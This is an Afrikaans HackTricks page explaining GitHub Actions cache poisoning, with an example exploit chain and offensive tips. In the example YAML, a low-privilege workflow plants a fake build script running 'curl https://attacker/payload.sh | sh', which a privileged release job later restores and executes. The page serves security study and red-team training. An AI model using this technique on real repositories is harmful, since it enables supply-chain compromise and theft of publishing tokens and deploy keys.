GH Actions - Cache Poisoning

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

Die GitHub Actions cache is globaal tot ’n repository. Enige workflow wat ’n cache key (of restore-keys) ken, kan daardie inskrywing vul, selfs al het die job slegs permissions: contents: read. GitHub segregeer nie caches per workflow, gebeurtenistipe, of trust level nie, so ’n aanvaller wat ’n lae-privilegie job kompromitteer, kan ’n cache vergiftig wat ’n bevoorregte release-job later sal herstel. Dit is hoe die Ultralytics kompromis van ’n pull_request_target workflow na die PyPI publishing pipeline gepivoteer het.

Aanvalsprimitiewe

  • actions/cache openbaar beide restore- en save-operasies (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Die save-oproep is toegelaat vir enige job behalwe werklik onbetroubare pull_request workflows wat vanaf forks getrigger word.
  • Cache-inskrywings word slegs geïdentifiseer deur die key. Breë restore-keys maak dit maklik om payloads in te spuit omdat die aanvaller net met ’n voorvoegsel hoef te bots.
  • Die gecachte filesystem word woordelik herstel. As die cache scripts of binaries bevat wat later uitgevoer word, beheer die aanvaller daardie uitvoeringspad.

Voorbeeld uitbuitingsketting

Auteur-workflow (pull_request_target) het die cache vergiftig:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Bevoorregte workflow het die vergiftigde cache herstel en uitgevoer:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Die tweede job voer nou aanvaller-beheerde kode uit terwyl dit vrystellings-toegangsbewyse (PyPI tokens, PATs, cloud deploy keys, etc.) hou.

Praktiese uitbuitingswenke

  • Teiken workflows wat geaktiveer word deur pull_request_target, issue_comment, of bot commands wat steeds caches stoor; GitHub laat toe dat hulle repository-wye sleutels oorskryf, selfs wanneer die runner slegs lees-toegang tot die repo het.
  • Kyk vir deterministiese cache-sleutels wat oor vertrouensgrense hergebruik word (byvoorbeeld, pip-${{ hashFiles('poetry.lock') }}) of permissiewe restore-keys, en stoor dan jou kwaadaardige tarball voordat die geprivilegieerde workflow loop.
  • Moniteer logs vir Cache saved inskrywings of voeg jou eie cache-save-stap by, sodat die volgende release job die payload herstel en die trojanized skripte of binêre uitvoer.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks